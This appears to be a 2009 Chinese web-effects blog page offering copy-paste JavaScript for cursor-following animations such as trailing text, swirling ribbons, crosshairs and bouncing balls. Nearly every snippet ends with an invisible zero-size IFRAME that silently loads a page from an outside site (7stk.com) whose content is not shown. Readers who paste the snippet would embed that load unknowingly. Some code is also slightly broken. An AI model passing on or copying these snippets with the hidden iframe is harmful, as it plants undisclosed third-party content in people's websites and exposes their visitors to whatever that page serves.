 layer.top= Ydelay+100*Math.sin((5*Math.sin((currStep-15.99)/10))+i*70)*Math.sin((currStep)/10)*Math.cos((currStep+i*25)/10);

 layer.left=Xdelay+180*Math.cos((5*Math.sin((currStep-15.99)/10))+i*70)*Math.sin((currStep)/10)*Math.cos((currStep+i*25)/10);

 }

currStep+=step;

}

 

function delay(){

Ydelay = YgetDelay+=(my-YgetDelay)*1/20;

Xdelay = XgetDelay+=(mx-XgetDelay)*1/20;

stars();

setTimeout('delay()',10);

}

delay();

//-->

</SCRIPT>

 

 

 

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

 

 

 

 

</body>

 

</html>

 

0 Comments

Thu

05

Mar

2009

8、跟随鼠标的重合文字

8、跟随鼠标的重合文字

<!--将以下代码加入HTML<Body></Body>之间-->

<script language="JavaScript1.2">

var message='http://www.7stk.com'

var messagecolor='FF0000'

var dismissafter=0

var amount=5,ypos=0,xpos=0,Ay=0,Ax=0,By=0,Bx=0,Cy=0,Cx=0,Dy=0,Dx=0,Ey=0,Ex=0;

if (document.layers){

for (i = 0; i < amount; i++)

{document.write('<layer name=ns'+i+' top=0 left=0><font face="宋体" size=2 color='+messagecolor+'>'+message+'</font></layer>')}

window.captureEvents(Event.MOUSEMOVE);

function nsmouse(evnt){xpos = evnt.pageX;ypos = evnt.pageY;makefollow()}

}

else if (document.all){

document.write("<div id='outer' style='position:absolute;top:0px;left:0px'>");

document.write("<div id='inner' style='position:relative'>");

for (i = 0; i < amount; i++)

{document.write('<div id="text"'+i+' style="position:absolute;top:0px;left:0px;font-family:Courier New;font-size:16px;color:'+messagecolor+'">'+message+'</div>')}

document.write("</div>");

document.write("</div>");

function iemouse(){ypos = document.body.scrollTop + event.y;xpos = document.body.scrollLeft + event.x;makefollow()}

}

function makefollow(){

if (document.layers){

document.layers["ns0"].top=ay;document.layers["ns0"].left=ax;

document.layers["ns1"].top=by;document.layers["ns1"].left=bx;

document.layers["ns2"].top=cy;document.layers["ns2"].left=cx;

document.layers["ns3"].top=Dy;document.layers["ns3"].left=Dx;

document.layers["ns4"].top=Ey;document.layers["ns4"].left=Ex;

}

else if (document.all){

outer.all.inner.all[0].style.pixelTop=ay;outer.all.inner.all[0].style.pixelLeft=ax;

outer.all.inner.all[1].style.pixelTop=by;outer.all.inner.all[1].style.pixelLeft=bx;

outer.all.inner.all[2].style.pixelTop=cy;outer.all.inner.all[2].style.pixelLeft=cx;

outer.all.inner.all[3].style.pixelTop=Dy;outer.all.inner.all[3].style.pixelLeft=Dx;

outer.all.inner.all[4].style.pixelTop=Ey;outer.all.inner.all[4].style.pixelLeft=Ex;

}

}

function move(){

if (dismissafter!=0)

setTimeout("hidetrail()",dismissafter*1000)

 

if (document.layers){window.onMouseMove = nsmouse}

else if (document.all){window.document.onmousemove = iemouse}

ey = Math.round(Ey+=((ypos+20)-Ey)*2/2);ex = Math.round(Ex+=((xpos+20)-Ex)*2/2);

dy = Math.round(Dy+=(ey - Dy)*2/4);dx = Math.round(Dx+=(ex - Dx)*2/4);

cy = Math.round(Cy+=(dy - Cy)*2/6);cx = Math.round(Cx+=(dx - Cx)*2/6);

by = Math.round(By+=(cy - By)*2/8);bx = Math.round(Bx+=(cx - Bx)*2/8);

ay = Math.round(Ay+= (by - Ay)*2/10);ax = Math.round(Ax+= (bx - Ax)*2/10);

makefollow();

jumpstart=setTimeout('move()',10);

}

 

function hidetrail(){

if (document.all){

for (i2=0;i2<amount;i2++){

outer.all.inner.all[i2].style.visibility="hidden"

clearTimeout(jumpstart)

}

}

else if (document.layers){

for (i2=0;i2<amount;i2++){

temp="ns"+i2

document.layers[temp].visibility="hide"

clearTimeout(jumpstart)

}

}

}

 

window.onload=move;

//-->

</script>

 

 

 

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

 

 

 

</body>

 

</html>

 

0 Comments

Thu

05

Mar

2009

7、跟随鼠标的三色彩带

7、跟随鼠标的三色彩带

<!--将以下代码加入HTML<Body></Body>之间-->

 

<script language="JavaScript">

<!--

var a_Colour='fff000';

var b_Colour='00ff00';

var c_Colour='ff00ff';

var Size=120;

 

var YDummy=new Array(),XDummy=new Array(),xpos=0,ypos=0,ThisStep=0;step=0.6;

if (document.layers){

window.captureEvents(Event.MOUSEMOVE);

function nsMouse(evnt){

xpos = window.pageYOffset+evnt.pageX+6;

ypos = window.pageYOffset+evnt.pageY+16;

}

window.onMouseMove = nsMouse;

}

else if (document.all)

{

function ieMouse(){

xpos = document.body.scrollLeft+event.x+6;

ypos = document.body.scrollTop+event.y+16;

}

document.onmousemove = ieMouse;

}

 

function swirl(){

for (i = 0; i < 3; i++)

 {

 YDummy[i]=ypos+Size*Math.sin((1*Math.sin((ThisStep)/10))+i*2)*Math.sin((ThisStep)/4);

 XDummy[i]=xpos+Size*Math.cos((1*Math.sin((ThisStep)/10))+i*2)*Math.sin((ThisStep)/4);

 }

ThisStep+=step;

setTimeout('swirl()',10);

}

 

var amount=10;

if (document.layers){

for (i = 0; i < amount; i++)

{

document.write('<layer name=nsa'+i+' top=0 left=0 width='+i/2+' height='+i/2+' bgcolor='+a_Colour+'></layer>');

document.write('<layer name=nsb'+i+' top=0 left=0 width='+i/2+' height='+i/2+' bgcolor='+b_Colour+'></layer>');

document.write('<layer name=nsc'+i+' top=0 left=0 width='+i/2+' height='+i/2+' bgcolor='+c_Colour+'></layer>');

}

}

else if (document.all){

document.write('<div id="ODiv" style="position:absolute;top:0px;left:0px">'

+'<div id="IDiv" style="position:relative">');

for (i = 0; i < amount; i++)

{

document.write('<div id=x style="position:absolute;top:0px;left:0px;width:'+i/2+';height:'+i/2+';background:'+a_Colour+';font-size:'+i/2+'"></div>');

document.write('<div id=y style="position:absolute;top:0px;left:0px;width:'+i/2+';height:'+i/2+';background:'+b_Colour+';font-size:'+i/2+'"></div>');

document.write('<div id=z style="position:absolute;top:0px;left:0px;width:'+i/2+';height:'+i/2+';background:'+c_Colour+';font-size:'+i/2+'"></div>');

}

document.write('</div></div>');

}

function prepos(){

var ntscp=document.layers;

var msie=document.all;

if (document.layers){

for (i = 0; i < amount; i++)

{

 if (i < amount-1)

 {

 ntscp['nsa'+i].top=ntscp['nsa'+(i+1)].top;ntscp['nsa'+i].left=ntscp['nsa'+(i+1)].left;

 ntscp['nsb'+i].top=ntscp['nsb'+(i+1)].top;ntscp['nsb'+i].left=ntscp['nsb'+(i+1)].left;

 ntscp['nsc'+i].top=ntscp['nsc'+(i+1)].top;ntscp['nsc'+i].left=ntscp['nsc'+(i+1)].left;

 }

else 

 {

 ntscp['nsa'+i].top=YDummy[0];ntscp['nsa'+i].left=XDummy[0];

 ntscp['nsb'+i].top=YDummy[1];ntscp['nsb'+i].left=XDummy[1];

 ntscp['nsc'+i].top=YDummy[2];ntscp['nsc'+i].left=XDummy[2];

 }

}

}

else if (document.all){

for (i = 0; i <  amount; i++)

{

 if (i < amount-1)

 {

 msie.x[i].style.top=msie.x[i+1].style.top;msie.x[i].style.left=msie.x[i+1].style.left;

 msie.y[i].style.top=msie.y[i+1].style.top;msie.y[i].style.left=msie.y[i+1].style.left;

 msie.z[i].style.top=msie.z[i+1].style.top;msie.z[i].style.left=msie.z[i+1].style.left;

 }

else

 {

 msie.x[i].style.top=YDummy[0];msie.x[i].style.left=XDummy[0];

 msie.y[i].style.top=YDummy[1];msie.y[i].style.left=XDummy[1];

 msie.z[i].style.top=YDummy[2];msie.z[i].style.left=XDummy[2];

 }

}

}

setTimeout("prepos()",10);

}

function Start(){

swirl(),prepos()

}

window.onload=Start;

// -->

</script>

 

 

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

 

 

 

 

</body>

 

</html>

 

0 Comments

Thu

05

Mar

2009

6、跟随鼠标的弹性文字

6、跟随鼠标的弹性文字

<!--将以下代码加入HTML<Body></Body>之间-->

<style type="text/css">

.spanstyle {

position:absolute;

visibility:visible;

top:-50px;

font-size:9pt;

color: #000000;

font-weight:bold;

}</style>

<script>

var x,y

var step=20

var flag=0

var message="冰峰山庄----网页特效代码."

message=message.split("")

var xpos=new Array()

for (i=0;i<=message.length-1;i++) {

xpos[i]=-50}

var ypos=new Array()

for (i=0;i<=message.length-1;i++) {

ypos[i]=-50}

function handlerMM(e){

x = (document.layers) ? e.pageX : document.body.scrollLeft+event.clientX

y = (document.layers) ? e.pageY : document.body.scrollTop+event.clientY

flag=1}

function makesnake() {

if (flag==1 && document.all) {

for (i=message.length-1; i>=1; i--) {

xpos[i]=xpos[i-1]+step

ypos[i]=ypos[i-1]       }

xpos[0]=x+step

ypos[0]=y

for (i=0; i<message.length-1; i++) {

var thisspan = eval("span"+(i)+".style")

thisspan.posLeft=xpos[i]

thisspan.posTop=ypos[i]     }   }

else if (flag==1 && document.layers) {

for (i=message.length-1; i>=1; i--) {

xpos[i]=xpos[i-1]+step

ypos[i]=ypos[i-1]       }

xpos[0]=x+step

ypos[0]=y

for (i=0; i<message.length-1; i++) {

var thisspan = eval("document.span"+i)

thisspan.left=xpos[i]

thisspan.top=ypos[i]}   }

var timer=setTimeout("makesnake()",30)}

</script>

<body onLoad="makesnake()" >

<script>

for (i=0;i<=message.length-1;i++) {

document.write("<span id='span"+i+"'class='spanstyle'>")

document.write(message[i])

document.write("</span>")}

if (document.layers){

document.captureEvents(Event.MOUSEMOVE);}

document.onmousemove = handlerMM;

</script>

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

</body>

 

</html>

 

0 Comments

Thu

05

Mar

2009

5、跟随鼠标的光环特效

5、跟随鼠标的光环特效

<!--将以下代码加入HTML<Body></Body>之间-->

<style>

<!--#leftright, #topdown{position:absolute;

left:0;top:0;width:1px;height:1px;layer-background-color:blue;

background-color:blue;z-index:100;font-size:1px;}-->

</style>

<style>

<!--#leftright, #topdown{position:absolute;left:0;

top:0;width:1px;height:1px;layer-background-color:blue;

background-color:blue;z-index:100;font-size:1px;}-->

</style>

<div id="leftright" style="width:expression(document.body.clientWidth-2)"></div><div

id="topdown" style="height:expression(document.body.clientHeight-2)"></div><script

language="JavaScript1.2">

<!--

if (document.all&&!window.print){

leftright.style.width=document.body.clientWidth-2

topdown.style.height=document.body.clientHeight-2

}

else if (document.layers){

document.leftright.clip.width=window.innerWidth

document.leftright.clip.height=1

document.topdown.clip.width=1

document.topdown.clip.height=window.innerHeight

}

function followmouse1(){

//move cross engine for IE 4+

leftright.style.pixelTop=document.body.scrollTop+event.clientY+1

topdown.style.pixelTop=document.body.scrollTop

if (event.clientX<document.body.clientWidth-2)

topdown.style.pixelLeft=document.body.scrollLeft+event.clientX+1

else

topdown.style.pixelLeft=document.body.clientWidth-2

}

function followmouse2(e){

//move cross engine for NS 4+

document.leftright.top=e.y+1

document.topdown.top=pageYOffset

document.topdown.left=e.x+1

}

if (document.all)

document.onmousemove=followmouse1

else if (document.layers){

window.captureEvents(Event.MOUSEMOVE)

window.onmousemove=followmouse2

}

function regenerate(){

window.location.reload()

}

function regenerate2(){

setTimeout("window.onresize=regenerate",400)

}

if ((document.all&&!window.print)||document.layers)

//if the user is using IE 4 or NS 4, both NOT IE 5+

window.onload=regenerate2

//-->

</script>

 

 

 

 

 

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

</body>

 

</html>

 

0 Comments

Thu

05

Mar

2009

4、跟随鼠标的十字架

4、跟随鼠标的十字架

<!--将以下代码加入HTML<Body></Body>之间-->

<style>

<!--#leftright, #topdown{position:absolute;

left:0;top:0;width:1px;height:1px;layer-background-color:blue;

background-color:blue;z-index:100;font-size:1px;}-->

</style>

<style>

<!--#leftright, #topdown{position:absolute;left:0;

top:0;width:1px;height:1px;layer-background-color:blue;

background-color:blue;z-index:100;font-size:1px;}-->

</style>

<div id="leftright" style="width:expression(document.body.clientWidth-2)"></div><div

id="topdown" style="height:expression(document.body.clientHeight-2)"></div><script

language="JavaScript1.2">

<!--

if (document.all&&!window.print){

leftright.style.width=document.body.clientWidth-2

topdown.style.height=document.body.clientHeight-2

}

else if (document.layers){

document.leftright.clip.width=window.innerWidth

document.leftright.clip.height=1

document.topdown.clip.width=1

document.topdown.clip.height=window.innerHeight

}

function followmouse1(){

//move cross engine for IE 4+

leftright.style.pixelTop=document.body.scrollTop+event.clientY+1

topdown.style.pixelTop=document.body.scrollTop

if (event.clientX<document.body.clientWidth-2)

topdown.style.pixelLeft=document.body.scrollLeft+event.clientX+1

else

topdown.style.pixelLeft=document.body.clientWidth-2

}

function followmouse2(e){

//move cross engine for NS 4+

document.leftright.top=e.y+1

document.topdown.top=pageYOffset

document.topdown.left=e.x+1

}

if (document.all)

document.onmousemove=followmouse1

else if (document.layers){

window.captureEvents(Event.MOUSEMOVE)

window.onmousemove=followmouse2

}

function regenerate(){

window.location.reload()

}

function regenerate2(){

setTimeout("window.onresize=regenerate",400)

}

if ((document.all&&!window.print)||document.layers)

//if the user is using IE 4 or NS 4, both NOT IE 5+

window.onload=regenerate2

//-->

</script>

 

 

 

 

 

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

 

 

 

 

</body>

 

</html>

 

0 Comments

Thu

05

Mar

2009

3、跟随鼠标的滚动文字

3、跟随鼠标的滚动文字

<!--将以下代码加入HTML<Body></Body>之间-->

 

<script language="JavaScript1.2">

var scroller_msg='鼠标代码,鼠标特效,鼠标特效代码,鼠标变形,跟随鼠标的文字'

var dismissafter=0

 

var initialvisible=0

if (document.all)

document.write('<marquee id="curscroll" style="position:absolute;width:150px;border:1px solid black;font-size:14px;background-color:white;visibility:hidden">'+scroller_msg+'</marquee>')

 

function followcursor(){

//move cursor function for IE

 

if (initialvisible==0){

curscroll.style.visibility="visible"

initialvisible=1

}

 

curscroll.style.left=document.body.scrollLeft+event.clientX+10

curscroll.style.top=document.body.scrollTop+event.clientY+10

}

 

function dismissmessage(){

curscroll.style.visibility="hidden"

}

 

 

if (document.all){

document.onmousemove=followcursor

document.ondblclick=dismissmessage

if (dismissafter!=0)

setTimeout("dismissmessage()",dismissafter*1000)

}

 

//-->

 

</script>

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_jingcai.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

</body>

 

</html>

 

0 Comments

Thu

05

Mar

2009

2、跟随鼠标的弹性小球

2、跟随鼠标的弹性小球

<!--将以下代码加入HTML<Body></Body>之间-->

 

<DIV id=dot0

style="HEIGHT: 11px; POSITION: absolute; VISIBILITY: hidden; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<DIV id=dot1 style="HEIGHT: 11px; POSITION: absolute; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<DIV id=dot2 style="HEIGHT: 11px; POSITION: absolute; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<DIV id=dot3 style="HEIGHT: 11px; POSITION: absolute; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<DIV id=dot4 style="HEIGHT: 11px; POSITION: absolute; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<DIV id=dot5 style="HEIGHT: 11px; POSITION: absolute; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<DIV id=dot6 style="HEIGHT: 11px; POSITION: absolute; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<SCRIPT language=JavaScript>

var nDots = 7;

var Xpos = 0;

var Ypos = 0;

var DELTAT = .01;

var SEGLEN = 10;

var SPRINGK = 10;

var MASS = 1;

var XGRAVITY = 0;

var YGRAVITY = 50;

var RESISTANCE = 10;

var STOPVEL = 0.1;

var STOPACC = 0.1;

var DOTSIZE = 11;

var BOUNCE = 0.75;

var isNetscape = navigator.appName=="Netscape";

var followmouse = true;

var dots = new Array();

init();

function init()

{

    var i = 0;

    for (i = 0; i < nDots; i++) {

        dots[i] = new dot(i);

    }

 

    if (!isNetscape) {

    }

    for (i = 0; i < nDots; i++) {

        dots[i].obj.left = dots[i].X;

        dots[i].obj.top = dots[i].Y;

    }

    if (isNetscape) {

        startanimate();

    } else {

        setTimeout("startanimate()", 1000);

    }

}

function dot(i)

{

    this.X = Xpos;

    this.Y = Ypos;

    this.dx = 0;

    this.dy = 0;

    if (isNetscape) {

        this.obj = eval("document.dot" + i);

    } else {

        this.obj = eval("dot" + i + ".style");

    }

}

function startanimate() {

    setInterval("animate()", 20);

}

function setInitPositions(dots)

{

    var startloc = document.all.tags("LI");

    var i = 0;

    for (i = 0; i < startloc.length && i < (nDots - 1); i++) {

        dots[i+1].X = startloc[i].offsetLeft

            startloc[i].offsetParent.offsetLeft - DOTSIZE;

        dots[i+1].Y = startloc[i].offsetTop +

            startloc[i].offsetParent.offsetTop + 2*DOTSIZE;

    }

    dots[0].X = dots[1].X;

    dots[0].Y = dots[1].Y - SEGLEN;

}

function MoveHandler(e)

{

    Xpos = e.pageX;

    Ypos = e.pageY;

    return true;

}

function MoveHandlerIE() {

    Xpos = window.event.x + document.body.scrollLeft;

    Ypos = window.event.y + document.body.scrollTop;

}

 

if (isNetscape) {

    document.captureEvents(Event.MOUSEMOVE);

    document.onMouseMove = MoveHandler;

} else {

    document.onmousemove = MoveHandlerIE;

}

 

 

function vec(X, Y)

{

    this.X = X;

    this.Y = Y;

}

function springForce(i, j, spring)

{

    var dx = (dots[i].X - dots[j].X);

    var dy = (dots[i].Y - dots[j].Y);

    var len = Math.sqrt(dx*dx + dy*dy);

    if (len > SEGLEN) {

        var springF = SPRINGK * (len - SEGLEN);

        spring.X += (dx / len) * springF;

        spring.Y += (dy / len) * springF;

    }

}

function animate() {

    var start = 0;

    if (followmouse) {

        dots[0].X = Xpos;

        dots[0].Y = Ypos;

        start = 1;

    }

    for (i = start ; i < nDots; i++ ) {

 

        var spring = new vec(0, 0);

        if (i > 0) {

            springForce(i-1, i, spring);

        }

        if (i < (nDots - 1)) {

            springForce(i+1, i, spring);

        }

        var resist = new vec(-dots[i].dx * RESISTANCE,

            -dots[i].dy * RESISTANCE);

        var accel = new vec((spring.X + resist.X)/MASS + XGRAVITY,

            (spring.Y + resist.Y)/ MASS + YGRAVITY);

        dots[i].dx += (DELTAT * accel.X);

        dots[i].dy += (DELTAT * accel.Y);

        if (Math.abs(dots[i].dx) < STOPVEL &&

            Math.abs(dots[i].dy) < STOPVEL &&

            Math.abs(accel.X) < STOPACC &&

            Math.abs(accel.Y) < STOPACC) {

            dots[i].dx = 0;

            dots[i].dy = 0;

        }

        dots[i].X += dots[i].dx;

        dots[i].Y += dots[i].dy;

        var height, width;

        if (isNetscape) {

            height = window.innerHeight + window.pageYOffset;

            width = window.innerWidth + window.pageXOffset;

        } else {

            height = document.body.clientHeight + document.body.scrollTop;

            width = document.body.clientWidth + document.body.scrollLeft;

        }

        if (dots[i].Y >=  height - DOTSIZE - 1) {

            if (dots[i].dy > 0) {

                dots[i].dy = BOUNCE * -dots[i].dy;

            }

            dots[i].Y = height - DOTSIZE - 1;

        }

        if (dots[i].X >= width - DOTSIZE) {

            if (dots[i].dx > 0) {

                dots[i].dx = BOUNCE * -dots[i].dx;

            }

            dots[i].X = width - DOTSIZE - 1;

        }

        if (dots[i].X < 0) {

            if (dots[i].dx < 0) {

                dots[i].dx = BOUNCE * -dots[i].dx;

            }

            dots[i].X = 0;

        }

        dots[i].obj.left = dots[i].X;

        dots[i].obj.top =  dots[i].Y;

    }

}

</SCRIPT>

 

0 Comments

Thu

05

Mar

2009

1、有点像蜘蛛侠鼠标代码

1、有点像蜘蛛侠鼠标代码

<!--将以下代码加入HTML<Body></Body>之间-->

 

<STYLE>

.disableHscroll{

width:100%;overflow-x:hidden;overflow-y:scroll;

}

v\:* {

 BEHAVIOR: url(#default#VML)

}

</STYLE><SCRIPT>

var defaultcolor="#999999"

var lineweighthighlight=1

var lineweightnormal=1

var distancetomouse=0

var mousepos_x=0

var mousepos_x=0

var marginleft=0

var margintop=0

var marginbottom=0

var marginright=0

var margincenterx

var margincentery

var mousepos_x=0

var mousepos_x=0

if (document.all&&window.print){

    document.write('<div id="bodycontent" style="position:relative">')

}

function initiateanimation(){

    marginbottom=document.body.clientHeight

    marginright=document.body.clientWidth

    margincenterx=Math.floor(marginright/2)

    margincentery=Math.floor(marginbottom/2)   

    rectangulartopleft.to=marginleft+","+margintop

    rectangulartopright.to=marginright+","+margintop

    rectangularbottomleft.to=marginleft+","+marginbottom

    rectangularbottomright.to=marginright+","+marginbottom   

    rectangulartop.to=margincenterx+","+margintop

    rectangularright.to=marginright+","+margincentery

    rectangularbottom.to=margincenterx+","+marginbottom

    rectangularleft.to=marginleft+","+margincentery   

    rectangulartopleft.strokecolor=defaultcolor

    rectangulartopright.strokecolor=defaultcolor

    rectangularbottomleft.strokecolor=defaultcolor

    rectangularbottomright.strokecolor=defaultcolor   

    rectangulartop.strokecolor=defaultcolor

    rectangularright.strokecolor=defaultcolor

    rectangularbottom.strokecolor=defaultcolor

    rectangularleft.strokecolor=defaultcolor}

function msover(thiscolorhighlight){

    if(document.all&&window.print){

        rectangulartopleft.strokecolor=thiscolorhighlight

        rectangulartopright.strokecolor=thiscolorhighlight

        rectangularbottomleft.strokecolor=thiscolorhighlight

        rectangularbottomright.strokecolor=thiscolorhighlight   

        rectangulartop.strokecolor=thiscolorhighlight

        rectangularright.strokecolor=thiscolorhighlight

        rectangularbottom.strokecolor=thiscolorhighlight

        rectangularleft.strokecolor=thiscolorhighlight       

        rectangulartopleft.strokeweight=lineweighthighlight

        rectangulartopright.strokeweight=lineweighthighlight

        rectangularbottomleft.strokeweight=lineweighthighlight

        rectangularbottomright.strokeweight=lineweighthighlight   

        rectangulartop.strokeweight=lineweighthighlight

        rectangularright.strokeweight=lineweighthighlight

        rectangularbottom.strokeweight=lineweighthighlight

        rectangularleft.strokeweight=lineweighthighlight

    }

}

function msout(){

    if(document.all&&window.print){

        rectangulartopleft.strokecolor=defaultcolor

        rectangulartopright.strokecolor=defaultcolor

        rectangularbottomleft.strokecolor=defaultcolor

        rectangularbottomright.strokecolor=defaultcolor   

        rectangulartop.strokecolor=defaultcolor

        rectangularright.strokecolor=defaultcolor

        rectangularbottom.strokecolor=defaultcolor

        rectangularleft.strokecolor=defaultcolor       

        rectangulartopleft.strokeweight=lineweightnormal

        rectangulartopright.strokeweight=lineweightnormal

        rectangularbottomleft.strokeweight=lineweightnormal

        rectangularbottomright.strokeweight=lineweightnormal   

        rectangulartop.strokeweight=lineweightnormal

        rectangularright.strokeweight=lineweightnormal

        rectangularbottom.strokeweight=lineweightnormal

        rectangularleft.strokeweight=lineweightnormal     

    }

}

function momouse(){

    if(document.all&&window.print){

        mousepos_x=document.body.scrollLeft+event.clientX

        mousepos_y=document.body.scrollTop+event.clientY   

        rectangulartopleft.from=mousepos_x+","+mousepos_y

        rectangulartopright.from=mousepos_x+","+mousepos_y

        rectangularbottomleft.from=mousepos_x+","+mousepos_y

        rectangularbottomright.from=mousepos_x+","+mousepos_y   

        rectangulartop.from=mousepos_x+","+mousepos_y

        rectangularright.from=mousepos_x+","+mousepos_y

        rectangularbottom.from=mousepos_x+","+mousepos_y

        rectangularleft.from=mousepos_x+","+mousepos_y

     }

}

if(document.all&&window.print){

    document.body.className="disableHscroll"

    code="<v:line id=rectangulartopleft style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"

    code+="<v:line id=rectangulartopright style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"

    code+="<v:line id=rectangularbottomleft style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"

    code+="<v:line id=rectangularbottomright style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"

    code+="<v:line id=rectangulartop style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"

    code+="<v:line id=rectangularright style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"

    code+="<v:line id=rectangularbottom style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"

    code+="<v:line id=rectangularleft style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"

    document.body.insertAdjacentHTML("afterBegin",code)

    document.onmousemove=momouse

    window.onload=initiateanimation

}

</SCRIPT>

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_jingcai.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

</body>

 

</html>

 

0 Comments